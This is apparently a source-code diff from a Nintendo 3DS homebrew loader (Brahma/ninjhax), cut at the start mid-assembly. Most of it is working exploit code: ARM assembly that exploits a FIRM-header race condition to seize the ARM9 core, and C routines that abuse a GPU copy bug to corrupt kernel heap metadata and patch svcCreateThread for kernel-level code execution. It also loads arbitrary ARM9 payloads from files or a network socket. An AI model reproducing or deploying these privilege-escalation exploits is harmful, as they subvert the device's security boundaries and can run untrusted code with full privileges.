@ copy hijack_arm9 routine and execute
hook2:
ADR R0, hijack_arm9
ADR R1, hijack_arm9_end
LDR R2, pa_hijack_arm9_dst
MOV R4, R2
BL copy_mem
BX R4
@ exploits a race condition in order
@ to take control over the arm9 core
hijack_arm9:
@ init
LDR R0, pa_arm11_code
MOV R1, #0
STR R1, [R0]
@ load physical addresses
LDR R10, pa_firm_header
LDR R9, pa_arm9_payload
LDR R8, pa_io_mem
@ send pxi cmd 0x44846
LDR R1, pa_pxi_regs
LDR R2, some_pxi_cmd
STR R2, [R1, #8]
wait_arm9_loop:
LDRB R0, [R8]
ANDS R0, R0, #1
BNE wait_arm9_loop
@ get arm9 orig entry point phys addr from FIRM header
LDR R0, [R10, #0x0C]
@ backup orig entry point to FCRAM + offs ARM9 payload + 4
STR R0, [R9, #0x4]
@ overwrite orig entry point with FCRAM addr
@ this exploits the race condition bug
STR R9, [R10, #0x0C]
LDR R0, pa_arm11_code
wait_arm11_loop:
LDR R1, [r0]
CMP R1, #0
BEQ wait_arm11_loop
BX R1
pa_hijack_arm9_dst: .long 0x1FFFFC00
pa_arm11_code: .long 0x1FFFFFF8
pa_pxi_regs: .long 0x10163000
some_pxi_cmd: .long 0x44846
pa_firm_header: .long 0x24000000
pa_arm9_payload: .long 0x23F00000
pa_io_mem: .long 0x10140000
hijack_arm9_end:
copy_mem:
SUB R3, R1, R0
MOV R1, R3,ASR#2
CMP R1, #0
BLE locret_FFFF0AC0
MOVS R1, R3,LSL#29
SUB R0, R0, #4
SUB R1, R2, #4
BPL loc_FFFF0AA0
LDR R2, [R0,#4]!
STR R2, [R1,#4]!
loc_FFFF0AA0:
MOVS R2, R3,ASR#3
BEQ locret_FFFF0AC0
loc_FFFF0AA8:
LDR R3, [R0,#4]
SUBS R2, R2, #1
STR R3, [R1,#4]
LDR R3, [R0,#8]!
STR R3, [R1,#8]!
BNE loc_FFFF0AA8
locret_FFFF0AC0:
BX LR
busy_spin:
SUBS R0, R0, #2
NOP
BGT busy_spin
BX LR
pdn_send:
LDR R1, va_pdn_regs
STRB R0, [R1, #0x230]
BX LR
pxi_send:
LDR R1, va_pxi_regs
loc_1020D0:
LDRH R2, [R1,#4]
TST R2, #2
BNE loc_1020D0
STR R0, [R1,#8]
BX LR
pxi_recv:
LDR R0, va_pxi_regs
loc_1020FC:
LDRH R1, [R0,#4]
TST R1, #0x100
BNE loc_1020FC
LDR R0, [R0,#0xC]
BX LR
pxi_sync:
LDR R0, va_pxi_regs
LDRB R1, [R0,#3]
ORR R1, R1, #0x40
STRB R1, [R0,#3]
BX LR
.global arm11_end
arm11_end:
.global arm11_globals_start
arm11_globals_start:
va_pdn_regs: .long 0
va_pxi_regs: .long 0
va_hook1_ret: .long 0
.global arm11_globals_end
arm11_globals_end:

24
ninjhax/source/arm9.s Normal file
View File

@ -0,0 +1,24 @@
.arm
.align 4
.code 32
.text
@ default ARM9 payload, simply launches FIRM (reboots without clearing mem)
.global arm9_start
arm9_start:
B skipvars
@ offs 4, will contain backup copy of FIRM ARM9
@ entry point so execution can be returned to FIRM
pa_arm9_entrypoint_backup: .long 0xFFFF0000
skipvars:
STMFD SP!, {R0-R12,LR}
@ insert your funky stuff here
LDMFD SP!, {R0-R12,LR}
LDR PC, pa_arm9_entrypoint_backup
.global arm9_end
arm9_end:

452
ninjhax/source/brahma.c Normal file
View File

@ -0,0 +1,452 @@
#include <3ds.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <malloc.h>
#include <dirent.h>
#include <sys/socket.h>
#include <sys/_default_fcntl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "brahma.h"
#include "exploitdata.h"
/* should be the very first call. allocates heap buffer
for ARM9 payload */
u32 brahma_init (void) {
g_ext_arm9_buf = memalign(0x1000, ARM9_PAYLOAD_MAX_SIZE);
return (g_ext_arm9_buf != 0);
}
/* call upon exit */
u32 brahma_exit (void) {
if (g_ext_arm9_buf) {
free(g_ext_arm9_buf);
}
return 1;
}
/* overwrites two instructions (8 bytes in total) at src_addr
with code that redirects execution to dst_addr */
void redirect_codeflow (u32 *dst_addr, u32 *src_addr) {
*(src_addr + 1) = dst_addr;
*src_addr = ARM_JUMPOUT;
}
/* exploits a bug that causes the GPU to copy memory
that otherwise would be inaccessible to code from
a non-privileged context */
void do_gshax_copy (void *dst, void *src, u32 len) {
u32 check_mem = linearMemAlign(0x10000, 0x40);
s32 i = 0;
for (i = 0; i < 16; ++i) {
GSPGPU_FlushDataCache (NULL, src, len);
GX_SetTextureCopy(NULL, src, 0, dst, 0, len, 8);
GSPGPU_FlushDataCache (NULL, check_mem, 16);
GX_SetTextureCopy(NULL, src, 0, check_mem, 0, 0x40, 8);
}
HB_FlushInvalidateCache();
linearFree(check_mem);
return;
}
/* fills exploit_data structure with information that is specific
to 3DS model and firmware version
returns: 0 on failure, 1 on success */
s32 get_exploit_data (struct exploit_data *data) {
u32 fversion = 0;
u8 isN3DS = 0;
s32 i;
s32 result = 0;
u32 sysmodel = SYS_MODEL_NONE;
if(!data)
return result;
fversion = osGetFirmVersion();
APT_CheckNew3DS(NULL, &isN3DS);
sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS;
/* copy platform and firmware dependent data */
for(i=0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) {
if (supported_systems[i].firm_version == fversion &&
supported_systems[i].sys_model & sysmodel) {
memcpy(data, &supported_systems[i], sizeof(struct exploit_data));
result = 1;
break;
}
}
return result;
}
/* exploits a bug in order to cause the ARM11 kernel
to write a certain 32 bit value to 'address' */
void priv_write_four (u32 address) {
const u32 size_heap_cblk = 8 * sizeof(u32);
u32 addr_lin, addr_lin_o;
u32 dummy;
u32 *saved_heap = linearMemAlign(size_heap_cblk, 0x10);
u32 *cstm_heap = linearMemAlign(size_heap_cblk, 0x10);
svcControlMemory(&addr_lin, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, 0x3);
addr_lin_o = addr_lin + 0x1000;
svcControlMemory(&dummy, addr_lin_o, 0, 0x1000, MEMOP_FREE, 0);
// back up heap
do_gshax_copy(saved_heap, addr_lin_o, size_heap_cblk);
// set up a custom heap ctrl structure
cstm_heap[0] = 1;
cstm_heap[1] = address - 8;
cstm_heap[2] = 0;
cstm_heap[3] = 0;
// corrupt heap ctrl structure by overwriting it with our custom struct
do_gshax_copy(addr_lin_o, cstm_heap, 4 * sizeof(u32));
// Trigger write to 'address'
svcControlMemory(&dummy, addr_lin, 0, 0x1000, MEMOP_FREE, 0);
// restore heap
do_gshax_copy(addr_lin, saved_heap, size_heap_cblk);
linearFree(saved_heap);
linearFree(cstm_heap);
return;
}
// trick to clear icache
void user_clear_icache (void) {
s32 i, result = 0;
s32 (*nop_func)(void);
const u32 size_nopslide = 0x1000;
u32 *nop_slide = memalign(0x1000, size_nopslide);
if (nop_slide) {
HB_ReprotectMemory(nop_slide, 4, 7, &result);
for (i = 0; i < size_nopslide / sizeof(u32); i++) {
nop_slide[i] = ARM_NOP;
}
nop_slide[i-1] = ARM_RET;
nop_func = nop_slide;
HB_FlushInvalidateCache();
nop_func();
free(nop_slide);
}
return;
}
/* get system dependent data and set up ARM11 structures */
s32 setup_exploit_data (void) {
s32 result = 0;
if (get_exploit_data(&g_expdata)) {
/* copy data required by code running in ARM11 svc mode */
g_arm11shared.va_hook1_ret = g_expdata.va_hook1_ret;
g_arm11shared.va_pdn_regs = g_expdata.va_pdn_regs;
g_arm11shared.va_pxi_regs = g_expdata.va_pxi_regs;
result = 1;
}
return result;
}
/* Corrupts ARM11 kernel code (CreateThread()) in order to
open a door for code execution with ARM11 SVC privileges. */
s32 corrupt_svcCreateThread (void) {
s32 result = 0;
priv_write_four(g_expdata.va_patch_createthread);
user_clear_icache();
result = 1;
return result;
}
/* TODO: network code might be moved somewhere else */
s32 recv_arm9_payload (void) {
s32 sockfd;
struct sockaddr_in sa;
s32 ret;
u32 kDown, old_kDown;
s32 clientfd;
struct sockaddr_in client_addr;
s32 addrlen = sizeof(client_addr);
s32 sflags = 0;
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("[!] Error: socket()\n");
return 0;
}
bzero(&sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(BRAHMA_NETWORK_PORT);
sa.sin_addr.s_addr = gethostid();
if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
printf("[!] Error: bind()\n");
close(sockfd);
return 0;
}
if (listen(sockfd, 1) != 0) {
printf("[!] Error: listen()\n");
close(sockfd);
return 0;
}
printf("[x] IP %s:%d\n", inet_ntoa(sa.sin_addr), BRAHMA_NETWORK_PORT);
g_ext_arm9_size = 0;
g_ext_arm9_loaded = 0;
sflags = fcntl(sockfd, F_GETFL);
if (sflags == -1) {
printf("[!] Error: fcntl() (1)\n");
close(sockfd);
}
fcntl(sockfd, F_SETFL, sflags | O_NONBLOCK);
hidScanInput();
old_kDown = hidKeysDown();
while (1) {
hidScanInput();
kDown = hidKeysDown();
if (kDown != old_kDown) {
printf("[!] Aborted\n");
close(sockfd);
return 0;
}
clientfd = accept(sockfd, (struct sockaddr*)&client_addr, &addrlen);
svcSleepThread(100000000);
if (clientfd > 0)
break;
}
printf("[x] Connection from %s:%d\n\n", inet_ntoa(client_addr.sin_addr),
ntohs(client_addr.sin_port));
s32 recvd;
u32 total = 0;
s32 overflow = 0;
while ((recvd = recv(clientfd, g_ext_arm9_buf + total,
ARM9_PAYLOAD_MAX_SIZE - total, 0)) != 0) {
if (recvd != -1) {
total += recvd;
printf(".");
}
if (total >= ARM9_PAYLOAD_MAX_SIZE) {
overflow = 1;
printf("[!] Error: invalid payload size\n");
break;
}
}
fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK);
printf("\n\n[x] Received %d bytes in total\n", total);
g_ext_arm9_size = overflow ? 0 : total;
g_ext_arm9_loaded = (g_ext_arm9_size != 0);
close(clientfd);
close(sockfd);
return g_ext_arm9_loaded;
}
/* reads ARM9 payload from a given path.
filename: full path of payload
returns: 0 on failure, 1 on success */
s32 load_arm9_payload (char *filename) {
s32 result = 0;
u32 fsize = 0;
if (!filename)
return result;
FILE *f = fopen(filename, "rb");
if (f) {
fseek(f , 0, SEEK_END);
fsize = ftell(f);
g_ext_arm9_size = fsize;
rewind(f);
if (fsize >= 8 && (fsize <= ARM9_PAYLOAD_MAX_SIZE)) {
u32 bytes_read = fread(g_ext_arm9_buf, 1, fsize, f);
result = (g_ext_arm9_loaded = (bytes_read == fsize));
}
fclose(f);
}
return result;
}
/* reads ARM9 payload from memory.
data: array of u8 containing the payload
dsize: size of the data array
returns: 0 on failure, 1 on success */
s32 load_arm9_payload_from_mem (u8* data, u32 dsize) {
s32 result = 0;
if ((data != NULL) && (dsize >= 8) && (dsize <= ARM9_PAYLOAD_MAX_SIZE)) {
g_ext_arm9_size = dsize;
memcpy(g_ext_arm9_buf, data, dsize);
result = g_ext_arm9_loaded = 1;
}
return result;
}
/* copies ARM9 payload to FCRAM
- before overwriting it in memory, Brahma creates a backup copy of
the mapped firm binary's ARM9 entry point. The copy will be stored
into offset 4 of the ARM9 payload during run-time.
This allows the ARM9 payload to resume booting the Nintendo firmware
code.
Thus, the format of ARM9 payload written for Brahma is the following:
- a branch instruction at offset 0 and
- a placeholder (u32) at offset 4 (=ARM9 entrypoint) */
s32 map_arm9_payload (void) {
void *src;
volatile void *dst;
u32 size = 0;
s32 result = 0;
dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD);
if (!g_ext_arm9_loaded) {
// defaul ARM9 payload
src = &arm9_start;
size = (u8 *)&arm9_end - (u8 *)&arm9_start;
}
else {
// external ARM9 payload
src = g_ext_arm9_buf;
size = g_ext_arm9_size;
}
if (size >= 0 && size <= ARM9_PAYLOAD_MAX_SIZE) {
memcpy(dst, src, size);
result = 1;
}
return result;
}
s32 map_arm11_payload (void) {
void *src;
volatile void *dst;
u32 size = 0;
u32 offs;
s32 result_a = 0;
s32 result_b = 0;
src = &arm11_start;
dst = (void *)(g_expdata.va_exc_handler_base_W + OFFS_EXC_HANDLER_UNUSED);
size = (u8 *)&arm11_end - (u8 *)&arm11_start;
// TODO: sanitize 'size'
if (size) {
memcpy(dst, src, size);
result_a = 1;
}
offs = size;
src = &g_arm11shared;
size = sizeof(g_arm11shared);
dst = (u8 *)(g_expdata.va_exc_handler_base_W +
OFFS_EXC_HANDLER_UNUSED + offs);
// TODO sanitize 'size'
if (result_a && size) {
memcpy(dst, src, size);
result_b = 1;
}
return result_a && result_b;
}
void exploit_arm9_race_condition (void) {
s32 (* const _KernelSetState)(u32, u32, u32, u32) =
(void *)g_expdata.va_kernelsetstate;
asm volatile ("clrex");
/* copy ARM11 payload and console specific data */
if (map_arm11_payload() &&
/* copy ARM9 payload to FCRAM */
map_arm9_payload()) {
/* patch ARM11 kernel to force it to execute
our code (hook1 and hook2) as soon as a
"firmlaunch" is triggered */
redirect_codeflow(g_expdata.va_exc_handler_base_X +
OFFS_EXC_HANDLER_UNUSED,
g_expdata.va_patch_hook1);
redirect_codeflow(PA_EXC_HANDLER_BASE +
OFFS_EXC_HANDLER_UNUSED + 4,
g_expdata.va_patch_hook2);
CleanEntireDataCache();
InvalidateEntireInstructionCache();
// trigger ARM9 code execution through "firmlaunch"
_KernelSetState(0, 0, 2, 0);
// prev call shouldn't ever return
}
return;
}
/* - restores corrupted code of CreateThread() syscall */
void repair_svcCreateThread (void) {
asm volatile ("clrex");
CleanEntireDataCache();
InvalidateEntireInstructionCache();
// repair CreateThread()
*(u32 *)(g_expdata.va_patch_createthread) = 0x8DD00CE5;
CleanEntireDataCache();
InvalidateEntireInstructionCache();
return;
}
/* restore svcCreateThread code (not really required,
but just to be on the safe side) */
s32 __attribute__((naked))
priv_firm_reboot (void) {
asm volatile ("add sp, sp, #8\t\n");
repair_svcCreateThread();
exploit_arm9_race_condition();
asm volatile ("movs r0, #0\t\n"
"ldr pc, [sp], #4\t\n");
}
/* perform firmlaunch. load ARM9 payload before calling this
function. otherwise, calling this function simply reboots
the handheld */
s32 firm_reboot (void) {
s32 fail_stage = 0;
fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */
if (setup_exploit_data()) {
fail_stage++; /* failure while trying to corrupt svcCreateThread() */
if (corrupt_svcCreateThread()) {
fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/
svcCorruptedCreateThread(priv_firm_reboot);
}
}
/* we do not intend to return ... */
return fail_stage;
}

27
ninjhax/source/hid.c Normal file
View File

@ -0,0 +1,27 @@
#include <3ds.h>
/* loop until key is pressed */
u32 wait_key (void) {
hidScanInput();
u32 old_kDown, kDown;
old_kDown = hidKeysDown();
while (aptMainLoop()) {
gspWaitForVBlank();
hidScanInput();
kDown = hidKeysDown();
if (kDown != old_kDown)
break;
gfxFlushBuffers();
gfxSwapBuffers();
}
return kDown;
}
/* convenience function */
void wait_any_key (void) {
printf("\n\nPress key to continue\n");
wait_key();
}

58
ninjhax/source/main.c Normal file
View File

@ -0,0 +1,58 @@
#include <3ds.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <malloc.h>
#include "brahma.h"
#include "hid.h"
#include "menus.h"
#include "sochlp.h"
#include "payload_bin.h"
s32 quick_boot_firm (s32 load_from_disk) {
if (load_from_disk)
load_arm9_payload_from_mem(payload_bin, payload_bin_size);
firm_reboot();
}
s32 main (void) {
// Initialize services
srvInit();
aptInit();
hidInit(NULL);
gfxInitDefault();
fsInit();
sdmcInit();
hbInit();
qtmInit();
Handle fileHandle;
u32 bytesRead;
FS_archive sdmcArchive=(FS_archive){ARCH_SDMC, (FS_path){PATH_EMPTY, 1, (u8*)""}};
FS_path filePath=FS_makePath(PATH_CHAR, "/reiNand.dat");
Result ret=FSUSER_OpenFileDirectly(NULL, &fileHandle, sdmcArchive, filePath, FS_OPEN_READ, FS_ATTRIBUTE_NONE);
if(ret) goto EXIT;
FSFILE_Read(fileHandle, &bytesRead, 0x20000, 0x14400000, 320*1024);
FSFILE_Close(fileHandle);
consoleInit(GFX_BOTTOM, NULL);
if (brahma_init()) {
quick_boot_firm(1);
printf("[!] Quickload failed\n");
brahma_exit();
} else {
printf("* BRAHMA *\n\n[!]Not enough memory\n");
wait_any_key();
}
EXIT:
hbExit();
sdmcExit();
fsExit();
gfxExit();
hidExit();
aptExit();
srvExit();
// Return to hbmenu
return 0;
}

171
ninjhax/source/menus.c Normal file
View File

@ -0,0 +1,171 @@
#include <dirent.h>
#include <3ds.h>
#include "menus.h"
s32 print_menu (s32 idx, struct menu_t *menu) {
s32 i;
s32 newidx;
s32 count = menu_get_element_count(menu);
newidx = menu_update_index(idx, menu);
for (i=0; i<count; i++) {
if (newidx == i)
printf("[ %s ]\n", menu_get_element_name(i, menu));
else
printf(" %s \n", menu_get_element_name(i, menu));
}
return newidx;
}
s32 print_file_list (s32 idx, struct menu_t *menu) {
s32 i = 0;
s32 newidx;
DIR *dp;
struct dirent *entry;
char *filename = 0;
s32 totalfiles = 0;
s32 num_printed = 0;
consoleClear();
printf("ARM9 payload (%s):\n\n\n", BRAHMADIR);
printf("===========================\n");
s32 count = menu_get_element_count(menu);
newidx = menu_update_index(idx, menu);
if((dp = opendir(BRAHMADIR))) {
for (i=0; i<count; i++) {
if ((entry = readdir(dp)) != 0) {
filename = entry->d_name;
}
else {
filename = "---";
}
if (newidx == i)
printf("[ %s ] %s\n", menu_get_element_name(i, menu), filename);
else
printf(" %s %s\n", menu_get_element_name(i, menu), filename);
}
closedir(dp);
}
else {
printf("[!] Could not open '%s'\n", BRAHMADIR);
}
printf("===========================\n\n");
printf("A: Confirm\n");
printf("B: Back\n");
return newidx;
}
s32 print_main_menu (s32 idx, struct menu_t *menu) {
s32 newidx = 0;
consoleClear();
printf("\n* BRAHMA *\n\n\n");
printf("===========================\n");
newidx = print_menu(idx, menu);
printf("===========================\n\n");
printf("A: Confirm\n");
printf("B: Exit\n");
return newidx;
}
s32 get_filename (s32 idx, char *buf, u32 size) {
DIR *dp;
struct dirent *entry;
s32 result = 0;
s32 numfiles = 0;
if((dp = opendir(BRAHMADIR)) && buf && size) {
while((entry = readdir(dp)) != NULL) {
if (numfiles == idx) {
snprintf(buf, size-1, "%s%s", BRAHMADIR, entry->d_name);
result = 1;
break;
}
numfiles++;
}
closedir(dp);
}
return result;
}
s32 menu_cb_recv (s32 idx, void *param) {
return recv_arm9_payload();
}
s32 menu_cb_load(s32 idx, void *param) {
char filename[256];
s32 result = 0;
if (param) {
if (get_filename(*(u32 *)param, &filename, sizeof(filename))) {
printf("[+] Loading %s\n", filename);
result = load_arm9_payload(filename);
}
}
return result;
}
s32 menu_cb_choose_file (s32 idx, void *param) {
s32 curidx = idx;
s32 loaded = 0;
while (aptMainLoop()) {
gspWaitForVBlank();
curidx = print_file_list(curidx, &g_file_list);
u32 kDown = wait_key();
if (kDown & KEY_B) {
break;
}
else if (kDown & KEY_A) {
consoleClear();
loaded = menu_execute_function(curidx, &g_file_list, &curidx);
printf("%s\n", loaded? "[+] Success":"[!] Failure");
wait_any_key();
if (loaded)
break;
}
else if (kDown & KEY_UP) {
curidx--;
}
else if (kDown & KEY_DOWN) {
curidx++;
}
gfxFlushBuffers();
gfxSwapBuffers();
}
return 0;
}
s32 menu_cb_run (s32 idx, void *param) {
s32 fail_stage;
/* we're kinda screwed if the exploit fails
and soc has been deinitialized. not sure
whether cleaning up here improves existing
problems with using sockets either */
soc_exit();
printf("[+] Running ARM9 payload\n");
fail_stage = firm_reboot();
char *msg;
switch (fail_stage) {
case 1:
msg = "[!] ARM11 exploit failed";
break;
case 2:
msg = "[!] ARM9 exploit failed";
break;
default:
msg = "[!] Unexpected error";
}
printf("%s\n", msg);
return 1;
}

27
ninjhax/source/sochlp.c Normal file
View File

@ -0,0 +1,27 @@
#include <3ds.h>
#include "sochlp.h"
u32 soc_init (void) {
Result ret;
u32 result = 0;
SOC_buffer = (u32*)memalign(SOC_ALIGN, SOC_BUFFERSIZE);
if (SOC_buffer != 0) {
ret = SOC_Initialize(SOC_buffer, SOC_BUFFERSIZE);
if (ret == 0) {
result = 1;
} else {
free(SOC_buffer);
}
}
return result;
}
u32 soc_exit (void) {
if (SOC_buffer) {
SOC_Shutdown();
free(SOC_buffer);
SOC_buffer = 0;
}
return 0;
}

45
ninjhax/source/textmenu.c Normal file
View File

@ -0,0 +1,45 @@
#include <3ds.h>
#include "textmenu.h"
s32 menu_get_element_count (struct menu_t *menu) {
s32 i = 0;
if (menu) {
i = menu->element_count;
}
return i;
}
s32 menu_is_valid_index (s32 idx, struct menu_t *menu) {
return (menu != 0 && (idx >= 0 && idx < menu_get_element_count(menu)));
}
s32 menu_update_index (s32 idx, struct menu_t *menu) {
s32 newidx = 0;
s32 count = menu_get_element_count(menu);
newidx = idx < 0 ? count - 1 : idx >= count ? 0 : idx;
return newidx;
}
const char *menu_get_element_name (s32 idx, struct menu_t *menu) {
return menu_is_valid_index(idx, menu) ? menu->element[idx].name : 0;
}
menu_func_t *menu_get_element_function (s32 idx, struct menu_t *menu) {
return menu_is_valid_index(idx, menu) ? menu->element[idx].func : 0;
}
s32 menu_execute_function (s32 idx, struct menu_t *menu, void *param) {
s32 result = 0;
menu_func_t *f;
if (menu_is_valid_index(idx, menu)) {
f = menu_get_element_function(idx, menu);
if (f)
result = f(idx, param);
}
return result;
}

37
ninjhax/source/utils.s Normal file
View File

@ -0,0 +1,37 @@
.arm
.align 4
.code 32
.text
.global InvalidateEntireInstructionCache
.type InvalidateEntireInstructionCache, %function
InvalidateEntireInstructionCache:
mov r0, #0
mcr p15, 0, r0, c7, c5, 0
bx lr
.global CleanEntireDataCache
.type CleanEntireDataCache, %function
CleanEntireDataCache:
mov r0, #0
mcr p15, 0, r0, c7, c10, 0
bx lr
.global DisableInterrupts
.type DisableInterrupts, %function
DisableInterrupts:
mrs r0, cpsr
CPSID I
bx lr
.global EnableInterrupts
.type EnableInterrupts, %function
EnableInterrupts:
msr cpsr_cx, r0
bx lr
.global svcCorruptedCreateThread
.type svcCorruptedCreateThread, %function
svcCorruptedCreateThread:
svc 0x08
bx lr